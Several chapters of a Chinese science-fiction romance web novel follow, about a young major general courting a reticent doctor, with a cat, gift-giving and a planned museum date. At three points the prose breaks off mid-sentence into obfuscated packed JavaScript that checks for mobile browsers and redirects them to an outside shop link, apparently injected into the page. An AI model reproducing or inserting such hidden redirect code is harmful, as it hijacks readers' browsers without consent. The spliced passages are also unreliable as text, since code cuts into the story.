兰司珞回忆起刚才的作战。元墨洇不像他那样使出各种各样的招式,而是在他一次次进攻和防御的时候,恰到好处地击中最关键的地方,使他一次次溃败。 “这里是图书馆,按照规定,每天必须有两个小时的读书时间。我喜欢躲在书架的角落睡觉,老是被逮到,还会被罚做读书分享会,我就总给他们讲机甲战斗视频的分析,就是那时候认识的赫帆。” “走廊上的头像我们都认识,这是元九针和冷辰一,一个创造了孕育舱,一个建立了珍辰之家。我从小就在想,我们这些没有父母的孩子,算不算他们俩的孩子呢?” 元墨洇看着元九针与她一模一样的黑发和银色眼睛,没有言语。黑咪听得津津有味,不知不觉主动团在了兰司珞脚边。 兰司珞兴致勃勃地带着元墨洇走完所有房间,回头才发现张奶奶切好了水果和零食,摆了满满一桌子,笑吟吟地坐在桌旁看着他们。 兰司珞拉着元墨洇的手走过去,捻起半颗草莓:“牛奶草莓,我最喜欢的下午茶,你尝尝。” 元墨洇从他手里拿过,放到嘴里轻轻嚼动。 清甜的奶味混合着草莓的香气,很符合兰司珞一贯喜好的水果。 她慢慢吃完这半颗草莓,兰司珞已经在她面前堆出来一座小山:“这些都是我爱吃的。”他顺手拍掉黑咪伸出来的爪子。 黑咪委委屈屈地“喵”了一声,被张奶奶抱在怀里:“黑咪不生气,奶奶给你拿。” 兰司珞也不好意思起来,主动给黑咪递过一块饼干。 黑咪把头扭到一边,爪子却忘了收回去。 吃完水果和零食,兰司珞主动站起来帮张奶奶收拾东西。 张奶奶摸摸他的头:“你一定从小就是个好孩子。” “那当然。”兰司珞装作不经意地看了一眼元墨洇,炫耀道,“我每年都能拿珍辰之家的奖状。” 他昂首挺胸地端着盆子进了厨房,熟练地装入洗涤机器,并设置好合适的洗涤模 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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可怜的黑咪,在猫咪里也算得上身手矫捷的品种,却在兰司珞手里毫无还手之力。 它眼珠一转,在兰司珞伸手过来的时候,直接窜到了元墨洇背后,探出一双眼睛紧盯兰司珞。 在它刚才的暗中观察中,兰司珞一旦出现在这个人类身边,危险气息就会减弱。 果然兰司珞停住了动作:“墨……元医师,黑咪藏到你身后了,你别动,我过去抓它。” 元墨洇没有动作,下一秒,黑咪像是遇到了什么恐怖的危险,整只猫飞速地窜离开元墨洇身后,被兰司珞准确无误地揪在手里。 它看了看元墨洇,主动往兰司珞手里靠。 兰司珞无情嘲笑它:“你呀,谁让你去招惹得罪不起的人的,那可是……” 他的目光骄傲又得意,笑容飞扬,深深刺痛了黑咪脆弱的小心脏:“那可是我们元墨洇大人,是这个世界上最厉害的人。” 兰司珞把黑咪塞进清洁舱,关上舱门,蹲在一旁看张奶奶操作。 他想回头看元墨洇,又不敢回头看元墨洇。 其实他心里也知道,就算看了,那张脸上的表情也不会有丝毫变化,元墨洇向来是这样,外表看起来永远是那般无喜无悲,冷漠无情。 兰司珞坐回沙发上,黑咪已经清洁干净,一身长毛蓬松可爱。 张奶奶去给它拿梳毛的工具去了。 兰司珞坐在元墨洇身边,沙发很大,到处都是空位,可他偏偏就坐在这里。 他一边揉着黑咪的毛,一边开口:“你好像什么都知道,我画的闪电500,只有你认出来了。” 元墨洇没有说话。 兰司珞不甘心,继续问道:“你犯过错吗?” “嗯。” 兰司珞一惊,不小心揪下黑咪两根毛,又被黑咪踩了一脚。但黑咪没有离开他身边,在元墨洇成为这片区域最危险的人物之后,兰司珞身上反而成了最安全的地方。 兰司珞也不在意黑咪的想法,追问道:“是……考试答错题了?实验算错数据了?应该不是什么重要的事吧。” “很重要。” “啊……”正好张奶奶带着梳毛的工具来了,兰司珞手里一空,下意识拽住了元墨洇的衣袖,“那你后悔吗?” 元墨洇盯着兰司珞看了一会,对方固执地没有松开手,半晌,她回答道:“不后悔。” “也对,你是全星族联盟最厉害的元墨洇大人。” 兰司珞松开元墨洇的衣袖,起身去学张奶奶怎么给黑咪梳毛。 “你是星族联盟最年轻的少将。” 兰司珞猛地回头,元墨洇端坐在沙发上,双手交叠,目光沉静。银色的双眸像镜子一样,映出兰司珞漂亮的脸。 “原来你知道啊。”兰司珞低低笑了起来,转过身去,“原来……你知道啊。” 20. 笔记本 回到驻军办公室,兰司珞才收到元墨洇的消息,是一份长长的定制食谱。 他还没来得及点开来看,何晞就闯进他的办公室,双手往他的桌面狠狠一压,撑在桌上双眼冒火地盯着他。 兰司珞连忙调出任务列表敷衍他。 何晞冷笑一声:“你又跑到哪里去了?” 兰司珞摇摇头。 何晞也懒得追问:“那你的任务都做好了吗?” 兰司珞余光瞥见还未关闭的通讯界面,置顶的那个名字突然给了他莫大的勇气。 他拿出一份经由元墨洇修改后变得及其简单的任务清单,扬起下巴往何晞面前一递。 何晞用食指和拇指接过,眯着眼从头打量到尾:“这不是你能做到的,泄密可是要受处分的。” 兰司珞对这些规则一知半解,但他对元墨洇极有信心:“我没有泄密。” 何晞从鼻子里发出声音:“你最好藏好了。”终于从兰司珞的桌子上离开,坐到一旁的沙发上,鬼鬼祟祟不知道在给谁发消息。 “最近一个月都没有出战的计划,你不要懈怠,要随时做好准备……” 兰司珞“嗯”了一声,顶着何晞的背景音,点开了自己的机甲维修界面,找到更换激光炮选项,勾上。 他又打开食谱,发现都是在汤燧星的食堂能吃到的东西,美滋滋地发消息跟元墨洇道谢,顺便问她需不需要自己安排人去取激光炮。 这一切做完,何晞的嘴还没停下,兰司珞不耐烦地打断他:“好了,任务安排发给我,去做你自己的事吧。” 何晞根本不理会他,兰司珞于是站起身来,往外面走去。 “你去哪里?” 兰司珞摆摆手:“我去看我的机甲。” 何晞立刻跟在他身后,一路絮叨到了机甲维修室。 兰司珞顶着维修人员诡异的目光,和何晞旁若无人的喋喋不休,硬是把自己的机甲检查了一遍。 尤其是涂装,他还专门要了点机甲专用油漆给补了补。 刚检查完,他的光脑就收到了消息,元墨洇让他自己去拿激光炮。 兰司珞一直等到何晞发泄完心里的怒火,才成功脱身,一个人回到青囊诊所。 诊所里又没有人,兰司珞暗恨,总觉得是因为何晞耽误了他的时间。 小耳朵在门口等他,带他到了花园中央的石桌旁。 石桌上摆放着一个存储舱,兰司珞拿起来看了看,里面正是一个激光炮。它的旁边,放着一个黑色金属箱。 兰司珞一愣。 这样的箱子,他有一个。如果他还没有笨到家的话,里面的东西,他应该知道是什么。 兰司珞把存储舱收入怀中,把手贴在金属箱上,感受那股熟悉的冰冷的光滑的触感。 他深吸一口气,鼻间立刻充斥了金属微涩的气息,给了他一种安心的感觉。 “咔哒。” 他打开箱子,里面整齐摆放着十二支注满了药剂的注射器,针管上还印着他熟悉的花纹。 兰司珞合上箱子,并没有把它和存储舱一起收纳起来,反而抱在怀里,转身准备离开。 “啪。” 他感觉到衣袖上传来一股微弱的力道,偏头一看,是一个纯色的笔记本被他扫落在地上。 他没有第一时间捡起来,而是愣愣看着那个笔记本。 这个本子他见过。 不是在这里看诊时见元墨洇在上面写东西,而是因为,这个大小、形状、颜色、品牌,均来自于他亲手挑选。 然后送给元墨洇,作为生日礼物。 元墨洇生日那天并不在学校,兰司珞虽然预料到这件事,但还是忍不住微微失望。 他知道,以元墨洇的身份,生日自然也会回家大肆操办,再不济也有不知道多少人上赶着为她过生日。 可他还是想在这一天见她一面。 况且…… 兰司珞躬下身,小心翼翼地把脚边的箱子往书桌下的空隙塞了塞,不让它任何一个角有机会探出头来被人看见。 他给元墨洇准备了生日礼物。 一天的课程结束,到了晚上,教室里的其他人已经走光了,唯独兰司珞不甘心地坐在原地等着。 光屏上显示着通讯界面,孤零零的“生日快乐”挂在那里,没人回复。 兰司珞把手指挪到输入框上,打了个“我”字,又删掉,趴回自己的书桌上。 过了一会儿,他看了看书桌底下的箱子,伸手将其拖了出来,放在一边,望着上面拜托礼品店帮忙扎的缎带蝴蝶结发呆。 蝴蝶结的两条飘带被拉成了卷,正被不知道哪里吹来的风引得一抖一抖的。 兰司珞望着那两条卷,咬咬牙,坐直身体,决定再给元墨洇发一条消息。 他的身体转过90°回到书桌前,手指放在输入框上,正准备打字,忽然觉得指缝里有一道银光一闪而过。 他把手遮在眼睛上,从指缝间望出去。 教室的门悄无声息地被打开了,元墨洇就站在门口。 兰司珞起身冲到门口,猛地顿住。 隔着一道门,兰司珞沐浴在教室的灯光下,元墨洇却镶嵌在走廊的黑暗中。 门槛将他们泾渭分明地隔开,兰司珞突然觉得有点恍惚,他心里冒出一个念头来:元墨洇不会是他精神力波动产生的幻觉吧。 为了验证他的猜想,他用力掐了自己的大腿一把,在吃痛的眨眼中,惊喜地发现元墨洇没有消失。 他立刻笑起来,笑容一刹那盖过了教室晚间特地被调暗的灯效。 他飞快地抓了两把头发,将手背在身后用衣服快速揉捏了一遍,这才伸了出去:“元墨洇同学,生日快乐。” 元墨洇看了他五秒,才发出一片雪花落地般“嗯”的轻响。 元墨洇没有握住兰司珞的手,兰司珞也不介意,匆匆说了句:“你等我一下。”转身朝自己座位跑去。 元墨洇的声音在他背后响起:“我要回实验室。” 兰司珞大声回答她,声音因为弯腰搬动的动作而波澜起伏:“我不耽误你的时间,我送你。” 元墨洇当真等到兰司珞抱着一个大箱子回到门口,才转身走去。 兰司珞跟在她旁边,朝她摇晃了一下手里的箱子:“我送你的生日礼物,帮你一起带回去吧。” 元墨洇本想离开的脚步骤然顿住,她看向那个箱子,没有说话,反而拿出一个造型奇特的仪器。 兰司珞好奇地看了看那个仪器,有点像安检时候的探测仪,但是上面安装了一堆奇奇怪怪的小零件。 元墨洇用仪器扫描了他手上的箱子,接着便点开光屏,上面发送来一份报告。 兰司珞后知后觉地反应过来:“我不会在给你的礼物里面塞炸弹的。” 元墨洇关掉光屏,往电梯走去:“我知道。” 她向来寡言,也很少需要跟人解释自己的行为。 只是看着兰司珞抱着一个“叮了哐啷”的箱子追在她身侧,微抿着嘴看向她的模样,忽然觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17250376|197816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得解释一句也没什么,至少能让面前这个人看起来不那么可怜。 她看着电梯门一点点关上,开口说道:“你看过别人送我的礼物。” 兰司珞点头,毕竟他就坐在元墨洇旁边,经常就能看见:“嗯嗯,他们送的都好贵,我根本买不起。噢!所以……” 元墨洇:“我在确认礼物价值是否超出你的负担能力范围。” 兰司珞咽下后面半句:“你在确认我送的够不够贵。” 出电梯后,元墨洇不再说话。 兰司珞对这种情形已经驾轻就熟,他用手控制着箱子发出书本碰撞的闷响,开始熟练地介绍起来。 “我知道你喜欢用纸质的笔记本写字,这是我花了一个月专门给你挑的。不知道你喜欢哪一种,我把能找到的杂货商店都跑遍了,每种本子都买了一个,购买地址和品牌名字、款式我都写在纸条上,夹在本子里。你觉得好用的话就自……就把纸条给我,我给你去买。 “你放心,都是纯色没有花纹的。” 夜晚的校园,喧嚣和静谧被框在各自的区域里。 元墨洇走的那条路,背后是食堂和操场的方向,说笑声被他们渐渐甩在身后。 面前是图书馆,灯火通明,寂静无声。 兰司珞的声音随着脚步越来越大,黑暗中,他的面部轮廓逐渐模糊,笑容却越加清晰。 元墨洇安静地听着,很快就走到了她的实验室。 兰司珞没有来过这里,站在门口,踟蹰着不知道该不该进去。 实验室很大,里面竟然还有十几个人在忙碌着,有人注意到兰司珞,用胳膊肘捅了捅身边的人,身边的人看到兰司珞一惊,用脚尖踹了一下不远处的另一个人。 就这么地,所有人都接连停下手里的工作,好奇地望向门口。 兰司珞立刻换上一副精美的笑容,同时低声对着元墨洇说:“我……先回去了?” 他抱紧箱子的指尖在灯光下泛着不自然的白。 “礼物留下。”元墨洇从瞪大眼睛的众人中随手指了一个,示意她帮忙接过箱子,其余人立刻像什么都没发生一样重新回到工作中去。 兰司珞把箱子递进去:“我先回去了~” 元墨洇也许回答了,也许没有回答,这都不影响兰司珞哼着歌快乐地回到自己的宿舍。 兰司珞伸手捡起地上的笔记本。 因为经常被使用,笔记本在他手里自然地摊开来,书页“哗啦啦”从他眼前翻过。 他依稀看到自己的名字一闪而过,不由得停住放回石桌上的动作。 兰司珞并没有犹豫太久,他把金属箱放下,将笔记本抱在怀里,前后左右上上下下看了个遍,确定这里只有千奇百怪的植物,元墨洇和她的两个学生都不在。 他把本子藏在金属箱的阴影里,尖着手指从中间翻开了一页,然后往前翻。 没有什么实验数据或者研究报告,上面写着一个姓元的不认识的名字,后面跟着一大串人物分析。 他又往后翻过几页,出现了另一个名字。 又翻过两页,他看到了“元墨枢”。 兰司珞脑海中灵光一闪,意识到了前面两个陌生的名字属于谁——元墨洇和元墨枢的父母。 属于元墨枢的页码有很多,兰司珞一开始还慢慢搜索着关键词,接着手指越翻越快,终于在这本笔记本大概一半的位置找到了“兰司珞”三个字。 他盯着自己的名字出神,继而弯起嘴角,最终化作一阵无人听见的傻笑。 21. 我们认识的元墨洇好像不一样?^^…… 兰司珞回到了工作的节奏里。 他照旧在何晞给的任务清单里挑挑拣拣,最后选择了去研究所。 方清将二人邀请进了会议室,依旧与他们分坐在那张长桌两侧。 与前几次来时的干净整洁不同,此时长桌上正像布菜一般摆满了各种各样的瑟尔瓦克星生物体的身体组织,花纹诡异的触手切块上点缀着又圆又大的眼珠子,显得瑰丽非凡,不经意间沾上的蓝色血液更是平添了一分艺术美感。会议桌中间放着的两盘更是莹白润泽、肥美动人。 兰司珞不由得多看了好几眼,直到方清招呼他坐下。 他的位置正对着那一对大眼珠子,经过加工的一双眼珠如同两颗露馅汤圆一般,散发着香甜的气息。 兰司珞忽然有了一种在高级餐厅用餐的恍惚感,身旁的何晞已经慢条斯理地挽起袖口,伸手向面前的盘子。 然后他就在兰司珞和方清的注视下将面前的盘子往长桌末尾用力一推,毫不留情。 方清:“……” 她也觉得有点尴尬,开口解释道:“不好意思,青园的第四农场刚才来过,这是他们送来的样品,我还没来得及叫人收起来。” 话虽如此,方清看起来并没有要喊人进来收拾桌面的打算,何晞只好自己动手。 兰司珞挡住何晞伸来的手,把面前那盘眼珠凉拌触手护住,兴致勃勃地问:“这个看起来很好吃,是怎么做的?” 方清笑着拿出一份食谱,同时掏出一双筷子:“这就是用之前袭击兰少将你的那四只剧毒体的其中一只做的,你尝尝?” “哦?”兰司珞眼睛一亮,夹起一根饱蘸了酱汁的触手品尝起来,“好吃!” 他立刻将那份食谱存入自己的私人资料库里,遗憾地看了一眼被何晞推远了的另一盘:“我能带点食材回去吗?” 方清面带惭色摇头:“普通的我们这里倒是有很多存货,第四农场那边也有许多,但是剧毒体实在太少了,还没法进行私人供应,抱歉。” 兰司珞话语里充满了失落:“可惜了,这个真的挺好吃的,我还想带回去自己做呢。等之后出任务,一定要多抓几只回来。” “确实好吃,第四农场那边对剧毒体的评价也极高。”方清不疾不徐地开口解释,“听说口感和味道类似曾经地球时代的一种早已失传的食材,叫作河豚。” 两个人仿佛遇到了知己,深入进行了一番厨艺上的探讨,直到忍无可忍的何晞开口打断:“这个之后再说,我们来谈一下正事。” 方清毫无预兆地板起脸,用公事公办的声音说:“正好,我们也有一些事要和你们重新谈一谈。” 方清拿出了一份材料清单。 上一次的材料清单因为兰司珞受伤而被直接交给了何晞,所以兰司珞也是第一次看。 他倒是不介意上面密密麻麻一长串设备名字和瑟尔瓦克身上的各种材料名字,对着后面附加的大量用途简述以及价格,看得津津有味。 值得注意的是,价格有两栏,一栏写着“原价”,另一栏写着“折扣价”。兰司珞估算了一下,折扣价大概是八折。 他心想这个研究所真不错,竟然真的给他们打折。他不禁想起之前合作过的其他研究所,它们偶尔还会以各种理由坐地起价,心里对面前这个研究所的好感度直线上升。 何晞早就接手了这方面的业务,很快就看完了整张清单,发现了其中的问题:“军备修复的价格会不会太高了?有一些武器似乎不在之前会议开放的武器库中。瑟尔瓦克的材料数量是不是不太够?” 方清早有预料,娓娓道来:“这次遭到瑟尔瓦克剧毒体攻击的军舰损伤比你们想象的更加严重,我们需要使用另一种设备进行检测来改造你们军舰上的防护罩,那种设备使用一次成本是现在用的设备的三倍。 “此外,我们研究所这几天对一些关键性武器进行了迭代,重新计算了一下价格。” 何晞紧蹙眉头,手指在光脑上迅速移动,按照方清的说法调整价格公式里面的数值。 方清喝了口水,继续道:“材料方面出现了一点其他情况,我正准备给你们说。” 她摊开手指了指面前的会议桌面:“青园星域第四农场要求购买大量瑟尔瓦克剧毒体,活的,用于养殖。这是他们给出的瑟尔瓦克剧毒体食用价值报告,其价值远在普通生物体之上。” 方清将报告发送给二人。 兰司珞听了会儿,觉得越来越没有趣味,叮嘱了何晞一句:“唐将军说让你不要讲价,直接核算价格就好。” 然后在何晞吃人的目光中坦然溜走了。 他一路晃悠到食堂,终于看到一张熟悉的脸,连忙推门进去,顺手按照元墨洇给的食谱打了一份午餐,端着饭碗往某张饭桌走去。 元墨枢正一个人吃饭,冯钊今天做实验的时候做错了一个步骤,现在正在实验室补救,没有人在食堂陪她。 她正无聊地刷着星网,察觉到有人在自己对面坐下。 自从上次在食堂说了李卓一通,就老有人找她打听元家,她不胜其烦。正在考虑这次用什么借口拒绝对方的时候,就看到对面的人一头华丽的金毛。 元墨枢心想,这人怎么连头发都长得这么像她偶像! 等等,元墨枢反应了过来,不对!这就是她的偶像! 兰司珞作为星族联盟最年轻的少将,又曾拿了公开军事演习单人赛三连冠,几乎是所有机甲爱好者心目中的偶像。 帝都星域曾经给兰司珞的金色机甲出过手办,销量不出意外是同龄人之中最高的。 元墨枢期待地看向兰司珞,兰司珞期待地看向元墨枢,两个人都迎面撞上对方热情的笑脸。 元墨枢暗忖,这次她一定要好好地薅一把羊毛。 兰司珞暗喜,小姨子对我印象好像不错。 两个人堆起一模一样的友好笑容,同时开口。 元墨枢:“你是来给我的公开军事演习限量款至臻典藏版豪华装录像礼盒签名的吗?” 兰司珞:“你知不知道你姐姐约会喜欢去什么地方?” 一时间氛围有点沉默。 元墨枢正准备下载录像礼盒的手停在半空中,然后失望至极地缩了回去:“你不是来给我签名的啊?” 兰司珞这才想起来这件事,心里愧疚:“是啊,怎么不是?说起来一直都没有机会感谢你。你的录像礼盒呢?”说着还掏出了自己最喜欢的笔。 元墨枢这才高高兴兴地下载了自己的全套录像礼盒,厚厚一叠录像礼盒“哐”地砸在兰司珞的碗边,于长长的餐桌上一字排开,仔细一看全是个位数的编号,一看就是花了大价钱买的。 元墨枢一个个拿起来,指挥着兰司珞:“这个签这里,这个签那里……”一看就是早就设计好了的。 终于签完了这一堆录像礼盒,兰司珞刚喘口气,又看到元墨枢小心翼翼地捧出一个金色机甲,那独特的造型设计,武器的安装位置,甚至肩膀上为了不妨碍剑法的灵活性特地打薄的护肩,都跟自己的机甲一模一样。 兰司珞啧啧称奇,对着这个迷你版机甲左看右看:“我自己都没好好看过这个手办,居然真的跟我的机甲长得差不多,你看这个地方的花纹,其实是掉漆了之后我自己涂上去的,所以跟另外半边不太一样,这个手办竟然都注意到了。” 元墨枢得意洋洋:“那可不,这也是限时限量款呢,那些通贩的都没这么精细。” 元墨枢本来想让兰司珞给机甲手办也签个名,但是她的手在手办上摸了又摸,就连脚底板都看了两眼,还是没有找到舍得下手的地方。 最后还是兰司珞想了个办法,签在一个金属牌上挂在了手办脖子上。 看着元墨枢一脸满足的样子,兰司珞趁热打铁:“你姐姐……” 元墨枢突然坐直了身体,让兰司珞来形容的话,就是她突然变得像何晞每次见到顾元帅的样子。 她眯起眼睛:“你见到我姐姐了?” 兰司珞点头。 她又问道:“你真对我姐姐有企图啊?” 兰司珞又点点头,他这辈子只有在元墨洇面前才会不好意思,所以他直说道:“我喜欢你姐姐很多年了,我专门为她来的汤燧星。” 元墨枢长长地“哦”了一声,突然表情古怪地停下:“你怎么知道我姐姐在汤燧星?” 兰司珞一脸理所当然:“我在军团隐私权限里的公民信息查询系统里查到的。” 元墨枢摸了摸下巴。 兰司珞没觉得有什么问题,他理直气壮地问:“你现在知道了我对你姐姐有企图,那你能不能帮帮我?” 估计是那堆签名起了作用,元墨枢倒是答应得很爽快:“好的呀。你想知道什么啊?” 兰司珞问道:“我想带她出去玩,你有什么推荐的地方吗?” 元墨枢冥思苦想,终于得出结论:“我姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17254817|197816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐从小到大都只会把自己关在家里做研究,从来没喜欢过什么东西,更别说出去玩了。她生活很简单,除了看书就是工作,平时也不出门。” 兰司珞看着她摊开的双手,表情跟她一样茫然:“不对吧,她喜欢吃甜食,喜欢手写笔记,睡觉很轻容易被惊醒,工作的时候听不见任何声音,心肠很好,还会助人为乐。对了,我们还养了一只猫呢。” 元墨枢:“?” 元墨枢委屈:“猫哪来的?我都没有。” 元墨枢怀疑:“你喜欢的真的是我姐姐吗?我们认识的是同一个人吗?” 元墨枢惊恐:“等等,睡觉很轻你是怎么知道的?” 现在轮到兰司珞摸下巴了。 元墨枢被他的表情挑衅到了,一拍桌子:“你别笑了,先告诉我猫哪来的?” 兰司珞笑得更开心了:“用你姐姐的光脑买的,你没有吗?” “哼!”元墨枢又锤了两下桌面,把兰司珞碗里的饭震成散块,“你等着,我下次去也要买一只。” 兰司珞把饭重新聚到一起:“你不准买白色的。” “我喜欢粉色的!” 两个人就着猫的话题争执不下,元墨枢决定直接从元墨洇那边下手,便把话题转了回来:“你想约我姐姐出去玩啊?” 提到元墨洇,兰司珞就不敢再放肆了:“嗯嗯。” 元墨枢得意地勾起嘴角:“那你放弃吧,我姐姐从来不跟人约会。” 她满心期待着兰司珞听见这句话会特别失望,谁知道兰司珞一脸莫名其妙:“谁说的?她以前跟我约会过啊!” 元墨枢不敢相信:“啊?” 勾起的嘴角转移到兰司珞脸上:“对啊,还是你姐姐邀请我的!” 元墨枢脸色不断变化,又是怀疑又是震惊:“既然如此,你问我干什么?” 说着说着,她有点委屈:“姐姐都没跟我约会过!” 兰司珞沉默了,他觉得自己可能问错人了。 元墨枢看着兰司珞失望的神色,想起刚才那一长串签名,还是觉得自己不能就这么白拿了对方的好处,她突然想到了一件事:“对了!之前姐姐治……的时候,有一个项目是让我陪她出去逛街,我觉得姐姐应该不排斥逛街……吧。” 兰司珞又振作起来:“那她有买什么东西吗?她喜欢逛什么?”一边说一边点开光脑,已经开始看汤燧星有什么商场可以去了。 元墨枢无奈地叹了一口气:“当然没有啊。你看我姐姐那个样子,她对穿衣打扮、衣食住行一点兴趣都没有,我怀疑带她去医院她可能会更开心一点。” 兰司珞一拍手心:“有道理!” 元墨枢扒拉住他:“你等等,你不会真要带人去医院约会吧?又不是什么医师和病人的扮演游戏。” 兰司珞想了一下:“确实,直接去她的诊所不就好了。” 元墨枢垂头丧气地捧着脸:“要不你想一个别的办法讨好我姐姐……等等!我想起来了!那次我们出去逛街,我姐姐确实什么都不感兴趣。但是后来回家的时候路过街边一个小店,就是那种很普通的小店,卖的东西都好便宜的那种。我姐姐进去买了一个毛绒绒的黄毛小狗,你不说我都忘了这件事了。” 兰司珞开始在光脑上搜索毛绒玩具:“什么样的毛绒小狗啊?长毛还是短毛?大概有多大?什么牌子的?” 元墨枢摆摆手:“我后来都没见过那个了。况且我姐姐对毛绒玩具也不感兴趣,她说不定是觉得那个很适合做什么稀奇古怪的实验呢。” 兰司珞摩拳擦掌:“那我多买几只给她做实验。” 元墨枢:“……”她尽力了,反正也给不出什么别的建议了。 午饭过后,兰司珞查看了光脑的通讯界面,早上给元墨洇的留言还没有人回复,他也不介意,在后面又加了一句:[过两天我得空了,我们出去逛街吧!] 然后就继续投入了工作。 何晞被方清绊住了,兰司珞一身轻松,充满干劲地忙碌了一下午。 晚上何晞终于被放了回来,不知道是因为研究所太难缠,还是兰司珞少有的工作热情太让人震惊,他竟然没能挑出刺来。 于是在指挥室里,兰司珞和何晞讨论了一下接下来的工作安排,就各自回到了自己房间。 兰司珞终于闲下来,刚打开光脑,就看见了置顶给他发了消息。 元墨洇:[不去,我没时间。] 22. 未来博物馆 兰司珞失眠了。 他在床上翻来覆去,揉乱了一头漂亮的金发,满脑子的想法却像天上随意散落的星子,让他难以入眠。 他起身打开光脑,通讯界面的置顶还停留在元墨洇的拒绝上。 兰司珞把那六个字放在心里嚼了又嚼,“不去”什么的,只是拒绝而已,他完全可以等待下一次机会。 可是元墨洇说她没有时间。 她藏起自己的行踪,住在汤燧星这样一颗危险又偏远的星球上,忙碌到一整天不知所踪。 汤燧星的资料他看过很多遍,这颗星球乏善可陈,也就火山和温泉稍微有些许名气。 他想到之前看过的温泉的介绍,里面说温泉里会含有许多对身体有益的矿物质,心里“咯噔”了一下。 兰司珞的大脑高速运转起来。 元墨洇苍白的脸色,瘦削的身体,不怎么营业的青囊诊所,对身体有益的温泉。 他绞尽脑汁串联起这些线索。 兰司珞存储了几十部偶像剧的脑海自动补全了以下剧情: 十年前,元墨洇身患绝症,命不久矣。 这是一种连她自己都束手无策的可怕病症。于是她含泪,不对,绝情地与兰司珞断绝关系。 后来陆陆续续过了很多年,她辗转于无数星球寻求治疗。 一个偶然的机会下,元墨洇到了汤燧星养病,竟然无意之中在温泉里找到了能治疗这种病的矿物质。 但是因为拖了太久,她到现在也没有完全治好。 兰司珞心里一酸,他一会儿感觉自己化身为了苦情剧里在家坚守十年却无怨无悔终于在最后一集等到了大团圆的贫穷小白花,一会儿感觉自己变成了偶像剧里生离死别痛不欲生的隐忍男主角。 一颗心在自己调制出的水深火热的情节中滚来滚去,把他煎熬得在床上翻来覆去。 他以为等待已经足够苦涩了,没想到“真相”更令人辗转反侧。 兰司珞在对话框里删删打打,写了好久,却一个字都没发送出去。 他以为自己这十年已经习惯了这样的痛苦,他已经成长为一个成熟的男人,可以从容出现在元墨洇面前,让元墨洇知道他已经可靠到足以令她骄傲。 可是在汤燧星待了短短的一个月,往青囊诊所跑了好几次,不,从再次见到元墨洇的脸的那一刻起,他就该知道,他依然是那个笨拙的、青涩的、不顾一切的兰司珞。 没有元墨洇的时候他可以用想象麻痹自己,但是既然元墨洇已经出现,他就不可能抑制住自己内心那些疯长的冲动。 这十年分离的秘密,兰司珞可以等元墨洇愿意和盘托出的那一天。 但是他从未改变的心意,他朝思暮想的情愫,他想要那个人知晓。 十年前在未来博物馆里,兰司珞如此做了。 十年后在汤燧星,他依然这样炽热明亮。 十年前。 距离机甲竞赛结束已经一个月。 元墨洇依然每天都待在她的实验室里,兰司珞被各大高级学院的招生办缠着,被安利得头晕目眩。 他好不容易找到机会溜到元墨洇的实验室。 现在的兰司珞可以大摇大摆地推门进去了,感受到其他研究员们探寻的目光,他心中得到了极大的满足。 元墨洇把他打发到自己的位置上,他故作矜持地坐下,随手翻开一本书,装模作样地看起来。 文字他都认识,内容宛如是另一个世界的恶魔咒语。 兰司珞默默把书放回去,打开光脑开始玩游戏。 等到元墨洇把工作做完,兰司珞迫不及待关掉游戏界面,窜到她身边:“去未来博物馆的通知你收到了吗?” 未来博物馆是星族联盟最大的博物馆,它就建在帝都星附近。 更准确的说法是,帝都星以及周边一百多颗高级星球,最初就是围绕着未来博物馆而建立的。 因为里面存放着星族联盟最珍贵的藏品——象征着人类起源的星球,人类的母亲,地球。 因此,帝都星域各个学校,都喜欢把参观未来博物馆作为毕业活动的一环。 兰司珞早就盯上了这项活动,这是他名正言顺和元墨洇约会的大好时机。 兰司珞投影出一张光屏:“这是我做的路线规划,我们可以从东门进去,这里离地球最近。10点到达后,刚好能赶上第一波观光车,参观完地球之后,坐5号观光车,提前一站下车,旁边就是据说未来博物馆最好吃的餐馆。吃完饭后,下午……” 元墨洇仔细听完他的规划,在他期待的目光里轻轻点头:“好。” 兰司珞又向她展示了自己要穿的衣服,买纪念品的购物清单,林林总总说了一大堆,元墨洇就这么静静听着。 兰司珞终于图穷匕见:“你之前答应过要告诉我你会报考哪所高级学院,可以告诉我了吗?” 他提前搜过高级学院排行榜,按照医疗系实力进行排行的话,前三名均在普罗米修斯星域。 确认过那三所高级学院的招生办都联系了他,他才有底气来找元墨洇。 “帝都星高级学院。” 兰司珞一愣,看向元墨洇:“怎么是这所高级学院?” 他打开星网的高级学院排名界面。 按照医疗系进行排序,帝都星高级学院才排名第五,远远配不上元墨洇。 他有了一个匪夷所思的想法,改为按照机甲系进行排序。 排名第一的是帝都星第一机甲学院,帝都星高级学院排名第三。 兰司珞感到不解。 他打开介绍,上面说帝都星高级学院是一所综合性高级学院,办学理念是平衡发展,虽然每个专业都不是最强的,但它们在排行榜上都名列前茅。 兰司珞难得地聪明了一回,他回到排名界面,选择了机甲系和医疗系联合排名。 